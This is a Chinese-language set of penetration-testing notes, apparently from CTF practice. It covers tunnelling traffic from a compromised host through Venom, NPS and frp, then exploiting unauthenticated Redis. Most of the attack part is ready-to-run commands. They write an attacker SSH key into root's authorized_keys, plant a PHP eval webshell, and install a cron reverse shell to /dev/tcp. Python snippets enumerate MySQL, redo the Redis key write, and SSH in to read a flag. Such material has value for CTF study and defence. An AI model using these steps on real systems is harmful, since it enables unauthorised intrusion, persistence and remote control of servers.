代理搭建
Venom+Proxifier
这里利用Venom来搭建代理,利用socks5协议将流量全部代理到我们的本地电脑上
https://github.com/Dliv3/Venom/releases
将admin端和agent端分别传到vps和被控主机上。
首先在自己vps上启动admin
端
./admin_linux_x86 -lport 10011
在被控主机上执行
./agent.exe -rhost 134.*.*.40 -rport 10011
admin端会提示被控主机的连入,用show
查看节点,goto 1
前往该节点;
我们goto 1进入该被控主机,然后
socks 11112
选定端口启动socks服务。
在Proxifier中添加我们的代理服务器,协议选择socks5,在代理规则中转发相应程序流量。
就可以访问内网资源了
nps+(Proxifier)
安装NPS https://github.com/ehang-io/nps/releases/tag/v0.26.10
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz && tar -zxvf linux_amd64_server.tar.gz
进入conf文件夹编辑nps.conf,修改配置信息
然后运行nps
./nps
然后直接访问控制面板,新增客户端
,然后回到列表点开客户端ID前面的+号,会发现有个客户端命令,这就是我们要在shell执行的命令。
在被控主机上安装nps
https://github.com/ehang-io/nps/releases/tag/v0.26.10
如果目标是win主机,则命令为
npc.exe -server=公网IP:8024 -vkey=密钥 -type=tcp
执行后在线客户端变为1.
重新回到nps的管理页面,查看一下客户端的ID,新增SOCKS代理
,填上客户端id,设置端口即可
配合代理工具或者Proxifier
frp+Proxifier
https://github.com/fatedier/frp/releases
通过 ./frps -c ./frps.ini
启动服务端,再通过 ./frpc -c ./frpc.ini
启动客户端
拉取安装
wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.48.0_linux_amd64.tar.gz
解压
tar -zxvf frp_0.48.0_linux_amd64.tar.gz
其中frps 是服务端启动脚本,frps.ini是服务端启动配置文件
frpc 是客户端启动脚本 frpc.ini 是客户端启动配置文件
服务端frps.ini(单一个bind_port就ok)
# 绑定服务端端口,给客户端连接的通道
bind_port = 7000
# 设置客户端token
token = WSX#EDC
# 日志 --
log_file = /opt/frp_0.48.0_linux_amd64/log/frps.log
log_level = info
# 日志最多保存天数
log_max_days = 3
开放端口
firewall-cmd --zone=public --add-port=8090/tcp --permanent
firewall-cmd --reload
客户端frpc.ini
[common]
server_addr=xxx.xxx.xxx.xxx # 服务端ip
server_port=7000# 与服务器上填写的通信端口一致,和服务端建立通道,连接1
token=WSX#EDC # 和服务器token一致
[socks5_proxy]
remote_port = 6005
plugin = socks5
[mysql]
type = tcp
local_ip = 172.20.0.3
local_port = 3306 # 客户端服务的端口
remote_port = 6001 # 链接上后,服务端会监听这个端口,转发到local_port 上
然后开始服务端服务即可。
使用示例:
mysql -u root -h <vps-ip> -P 6001 -p
待会打redis用到的
[redis]
type = tcp
local_ip = 172.20.0.2
local_port = 6379
remote_port = 6002
[ssh]
type = tcp
local_ip = 172.20.0.2
local_port = 22
remote_port = 6003
redis未授权访问
漏洞成因
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh
文件的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
漏洞产生要求:
1、Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
2、没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
漏洞影响版本:
Redis 2.x,3.x,4.x,5.x
利用
通过写入ssh公钥实现ssh登录
原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
1首先在攻击机上生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa
2进入/root/.ssh,将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
3再把key.txt文件内容写入redis缓冲(靶机)
cat key.txt| redis-cli -h <vps-ip> -x set pub
4设置redis的默认文件路径为/root/.ssh且文件名为authorized_keys,然后save保存。
redis-cli -h <vps-ip> -p 6002
config set dir /root/.ssh
config set dbfilename authorized_keys
save
最后ssh连接即可
通过写入webshell
利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
redis-cli -h <vps-ip> -p 6002
config set dir /var/www/html
config set dbfilename shell.php
set webshell "\n\n\n<?php @eval($_POST[1]);?>\n\n\n"
save
linux计划任务反弹shell
原理:利用了redis数据库的备份功能,在我们不知道网站绝对路径的时候,可以利用linux的定时任务特性:Linux会监测/etc/crontab的内容,当我们将反弹shell的命令使用redis备份到/etc/crontab中,就可以获得反弹shell。
在不同系统中,root的位置是不一样的 在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。
1将反弹shell命令写入到定时任务中
redis-cli -h <vps-ip> -p 6002
config set dir /var/spool/cron(/crontabs)//看系统
config set dbfilename root
set abc "\n\n\n* * * * * bash -i >& /dev/tcp/<ip>/10011 0>&1 2>&1\n\n\n"
save
nc监听即可
其他
利用python库与mysql redis建立联系,不需要搭代理(这里用的python console)
pymysql
>>>db = pymysql.connect(host='localhost',user='root',db='ctf',password='123456',port=3306,charset='utf8')
>>>cursor = db.cursor()
>>>cursor.execute("select database()")
1
>>>cursor.fetchall()
(('messageboard'))
>>> cursor.execute("select(group_concat(table_name))from(information_schema.tables)where(table_schema)='messageboard'")
1
>>> cursor.fetchall()
(('flag,message,users'))
>>> cursor.execute("select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')")
1
>>> cursor.fetchall()
(('flag'))
>>> cursor.execute("select(group_concat(flag))from(flag)")
1
>>> cursor.fetchall()
redis
用Python装一个redis
subprocess.check_output("pip3 install redis",stderr=subprocess.STDOUT,shell=True)
然后连接redis
r = redis.Redis(host='172.20.0.3', port=6379, db=0)
r.info()//信息
>>> r.set('aaaaaa', '\n\n' + public_key + '\n\n')
True
>>> r.config_set('dir', '/root/.ssh')
True
>>> r.config_set('dbfilename', 'authorized_keys')
True
>>> r.save()
True
可以用paramiko
进行ssh连接,安装subprocess.check_output("pip3 install paramiko",stderr=subprocess.STDOUT,shell=True)
参考https://www.cnblogs.com/wongbingming/articles/12384764.html
>>> import paramiko
>>> pkey = paramiko.RSAKey.from_private_key_file('privkey', password='')
>>> trans = paramiko.Transport(('172.20.0.3', 22))
>>> trans.connect(username='root', pkey=pkey)
>>> ssh = paramiko.SSHClient()
>>> ssh._transport = trans
>>> stdin, stdout, stderr = ssh.exec_command('ls /')
>>> print(stdout.read().decode())
>>> stdin, stdout, stderr = ssh.exec_command('cat /flag')
>>> print(stdout.read().decode())
方法1:基于用户名和密码的 sshclient 方式登录
import paramiko
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 建立连接
ssh.connect("xx.xx.xx.xx", username="root", port=22, password="you_password")
# 使用这个连接执行命令
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("ls -l")
# 获取输出
print(ssh_stdout.read())
# 关闭连接
ssh.close()
方法2:基于用户名和密码的 transport 方式登录
方法1 是传统的连接服务器、执行命令、关闭的一个操作,多个操作需要连接多次,无法复用连接[痛点四]。
有时候需要登录上服务器执行多个操作,比如执行命令、上传/下载文件,方法1 则无法实现,那就可以使用 transport 的方法。
import paramiko
# 建立连接
trans = paramiko.Transport(("xx.xx.xx.xx", 22))
trans.connect(username="root", password="you_passwd")
# 将sshclient的对象的transport指定为以上的trans
ssh = paramiko.SSHClient()
ssh._transport = trans
# 剩下的就和上面一样了
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("ls -l")
print(ssh_stdout.read())
# 关闭连接
trans.close()
方法3:基于公钥密钥的 SSHClient 方式登录
import paramiko
# 指定本地的RSA私钥文件
# 如果建立密钥对时设置的有密码,password为设定的密码,如无不用指定password参数
pkey = paramiko.RSAKey.from_private_key_file('/home/you_username/.ssh/id_rsa', password='12345')
# 建立连接
ssh = paramiko.SSHClient()
ssh.connect(hostname='xx.xx.xx.xx',
port=22,
username='you_username',
pkey=pkey)
# 执行命令
stdin, stdout, stderr = ssh.exec_command('ls -l')
# 结果放到stdout中,如果有错误将放到stderr中
print(stdout.read())
# 关闭连接
ssh.close()
方法4:基于密钥的 Transport 方式登录
import paramiko
# 指定本地的RSA私钥文件
# 如果建立密钥对时设置的有密码,password为设定的密码,如无不用指定password参数
pkey = paramiko.RSAKey.from_private_key_file('/home/you_username/.ssh/id_rsa', password='12345')
# 建立连接
trans = paramiko.Transport(('xx.xx.xx.xx', 22))
trans.connect(username='you_username', pkey=pkey)
# 将sshclient的对象的transport指定为以上的trans
ssh = paramiko.SSHClient()
ssh._transport = trans
# 执行命令,和传统方法一样
stdin, stdout, stderr = ssh.exec_command('df -hl')
print(stdout.read().decode())
# 关闭连接
trans.close()